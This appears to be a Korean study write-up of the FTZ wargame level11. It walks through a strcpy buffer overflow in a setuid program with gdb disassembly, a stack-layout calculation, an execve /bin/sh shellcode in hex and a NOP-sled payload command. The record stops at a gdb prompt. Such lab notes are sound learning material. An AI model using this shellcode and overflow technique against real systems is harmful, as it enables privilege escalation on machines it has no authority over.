```
login as: level11
level11@192.168.98.133's password:
[level11@ftz level11]$ ls
attackme  hint  public_html  tmp
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}
```

Level 12의 사용자 id

사용자가 입력한 값을 str에 복사

사용자가 입력한 값이 저장된 str 출력

strcpy는 문자열의 길이를 검사하지 않아 버퍼의 크기보다 더 큰 문자열이 들어갈 경우 오버 플로우가 발생한다. 입력받은 문자의 크기가 str의 배열 크기를 넘어도 관련된 처리가 없다. → 문자열을 조절하여 RET(return address) 값 변조 가능

Attackme 확인

```
[level11@ftz level11]$ ./attackme
Segmentation fault
[level11@ftz level11]$
```

Attackme에 level12의 권한으로 setuid가 설정되어 있으니 프로그램이 실행되는 동안에 my-pass나 /bin/bash 같은 명령어를 실행하여 level12의 패스워드를 획득 → /bin/bash를 실행하기 위해서는 shell code를 사용(shell code: /bin/bash나 /bin/sh와 같은 셸을 실행시켜주는 코드, 기계어로 만들어진 16진수의 코드 사용)

RET 찾기

gdb로 디버깅하여 스택에 버퍼 + EBP의 크기만큼의 크기를 계산해서 넣을 문자열을 계산

```
[level11@ftz level11]$ gdb attackme
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   %ebp
0x08048471 <main+1>:    mov    %esp,%ebp
0x08048473 <main+3>:    sub    $0x108,%esp
0x08048479 <main+9>:    sub    $0x8,%esp
0x0804847c <main+12>:   push   $0xc14
0x08048481 <main+17>:   push   $0xc14
0x08048486 <main+22>:   call   0x804834c <setreuid>
0x0804848b <main+27>:   add    $0x10,%esp
0x0804848e <main+30>:   sub    $0x8,%esp
0x08048491 <main+33>:   mov    0xc(%ebp),%eax
0x08048494 <main+36>:   add    $0x4,%eax
0x08048497 <main+39>:   pushl  (%eax)
0x08048499 <main+41>:   lea    0xfffffef8(%ebp),%eax
0x0804849f <main+47>:   push   %eax
0x080484a0 <main+48>:   call   0x804835c <strcpy>
0x080484a5 <main+53>:   add    $0x10,%esp
0x080484a8 <main+56>:   sub    $0xc,%esp
0x080484ab <main+59>:   lea    0xfffffef8(%ebp),%eax
0x080484b1 <main+65>:   push   %eax
0x080484b2 <main+66>:   call   0x804833c <printf>
0x080484b7 <main+71>:   add    $0x10,%esp
0x080484ba <main+74>:   leave
---Type <return> to continue, or q <return> to quit---
```

ebp : 스택의 시작지점 주소가 저장된다. (스택의 처음 부분)

esp : 스택의 마지막부분을 저장하며, push, pop 에따라 4 씩 값이 변한다.

push %ebp → main이 끝나고 돌아갈 곳의 주소를 스택에 저장 (푸쉬에 의해 esp가 4만큼 움직임)

push: 스택에 값을 넣는다. ESP 의 값이 4 만큼 줄어들고 이 위치에 새로운 값이 채워진다.

mov %esp, %ebp → ebp에 esp의 값을 저장한다.(ebp를 esp로 옮긴다.)

mov: Source에서 Destination으로 데이터를 복사한다.

sub $0x108, %esp → 256인 0x100공간에 dummy로 0x8만큼 더 할당

sub→destination에 source의 값을 빼서 destination에 저장

sub $0x108, %esp → $0x108가 가리키는 주소를 %esp만큼 뺌으로써 스택 사용을 준비

(256+8) -esp(4+4)

ret(4byte) → (ret이 왜 4byte??) → ret는 ebp로부터 4byte 아래에 위치한다.

---

ebp(4byte)

---

dummy(8byte)

---

str(256byte)

➔ 메모리구조: buffer(256byte) + dummy(8byte) + ebp(4byte) + ret(4byte) = 272byte

sub $0x8, %esp (?)

push $0xc14 → 0xc14값을 넣는다/0xc14(16): (3092)

call 0x804834c <setreuid> → 0x804834c 주소를 호출하며 해당 주소는 setreuid 함수의 주소

mov : Source 에서 Destination 으로 데이터를 복사한다.
add : Destination 에 Source 의 값을 더해서 Destination 에 저장한다.
sub : Destination 에 Source 의 값을 빼서 Destination 에 저장한다.
push : 스택에 값을 넣는다. ESP 의 값이 4 만큼 줄어들고 이 위치에 새로운 값이 채워진다.
pop : ESP 레지스터가 가리키고 있는 위치의 스택 공간에서 4byte 만큼을 Destination 피연산자에 복사하고 ESP 레지스터의 값에 4 를 더한다.

레지스터
eax : 산술, 논리연산을 수행한 값이 저장되며 함수의 리턴값이 저장됨.
eip : 다음에 실행하여야 할 명령어가 존재하는 메모리 주소가 저장됨.
ebp : 스택의 시작지점 주소가 저장된다. (스택의 처음 부분)
esp : 스택의 마지막부분을 저장하며, push, pop 에따라 4 씩 값이 변한다
call 0x80482f0 <printf@plt> : 0x80482f0 주소를 호출하며 해당 주소는 printf 함수이다

25바이트 shell code 사용

₩x31₩xc0₩x50₩x68₩x2f₩x2f₩x73₩x68₩x68₩x2f₩x62₩x69₩x6e₩x89₩xe3₩x50₩x53₩x89₩xe1₩x31₩xd2₩xb0₩x0b₩xcd₩x80

shell code가 25바이트 이므로 ret를 제외한 byte인 268(272-4)에서 25bye shell code를 빼준다. → 243byte

243bytedp /x90(NOP)값을 덮고 shell code로 덮은 뒤, ret 주소를 찾는다.

(gdb) r 'python -c' print"₩x90"*243+"A"*25+"₩x90₩x90₩x90₩x90""

```
(gdb) r 'python -c'print"\x90"*243+"A"*25+"\x90\x90\x90\x90"''
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```